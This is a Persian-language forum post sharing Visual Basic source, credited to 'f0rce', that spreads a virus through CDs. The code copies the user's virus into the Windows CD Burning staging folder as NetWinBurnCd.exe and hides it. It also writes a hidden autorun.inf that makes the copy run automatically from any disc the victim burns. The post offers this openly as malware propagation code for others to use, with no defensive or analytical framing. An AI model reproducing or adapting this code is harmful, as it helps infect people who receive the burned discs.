[Amin_Mansouri]

سلام
با سورس زیر ویروس شما در داخل سی دی کپی میشه (برای رایت زدن)
سورس ببینید متوجه میشید

کد:

'Coder: f0rce
'Give Credits if you use this code
Public Type SHITEMID
  cb As Long
  abID As Byte
End Type

Public Type ITEMIDLIST
  mkid As SHITEMID
End Type

Public Declare Function SHGetSpecialFolderLocation Lib "shell32.dll" ( _
  ByVal hwndOwner As Long, _
  ByVal nFolder As Long, _
  pidl As ITEMIDLIST) As Long
Public Declare Function SHGetPathFromIDList Lib "shell32.dll" _
  Alias "SHGetPathFromIDListA" ( _
  ByVal pidl As Long, _
  ByVal pszPath As String) As Long
Public Function CDBurningInjection(FilePath As String) As String
Dim Pfad_File As String
Dim Ziel_File As String
Dim Pfad_Data As String
Ziel_File = GetMyDocuments & GetLocalSettingsandAppData & "\Microsoft\CD Burning"
Pfad_File = GetMyDocuments & GetLocalSettingsandAppData & "\Microsoft\CD Burning\NetWinBurnCd.exe"
If FileExists(Pfad_File) = False Then
Call FileCopy(FilePath, Ziel_File)
Else
SetAttr Pfad_File, vbHidden
End If
Pfad_Data = GetMyDocuments & GetLocalSettingsandAppData & "\Microsoft\CD Burning\autorun.inf"
Open Pfad_Data For Binary As #1
Put #1, , "open=NetWinBurnCd.exe"
Close #1
SetAttr Pfad_Data, vbHidden
End Function
Public Function GetMyDocuments() As String
  Dim lResult As Long
  Dim IDL As ITEMIDLIST
  Dim sPath As String
  lResult = SHGetSpecialFolderLocation(100, &H5, IDL)
  If lResult = 0 Then
    sPath = Space$(512)
    lResult = SHGetPathFromIDList(ByVal IDL.mkid.cb, _
      ByVal sPath)
    GetMyDocuments = Left$(sPath, InStr(sPath, _
      Chr$(0)) - 1)
  End If
End Function
Public Function GetLocalSettingsandAppData() As String
  Dim lResult As Long
  Dim IDL As ITEMIDLIST
  Dim sPath As String
  lResult = SHGetSpecialFolderLocation(100, &H1C, IDL)
  If lResult = 0 Then
    sPath = Space$(512)
    lResult = SHGetPathFromIDList(ByVal IDL.mkid.cb, _
      ByVal sPath)
    GetLocalSettingsandAppData = Left$(sPath, InStr(sPath, _
      Chr$(0)) - 1)
  End If
End Function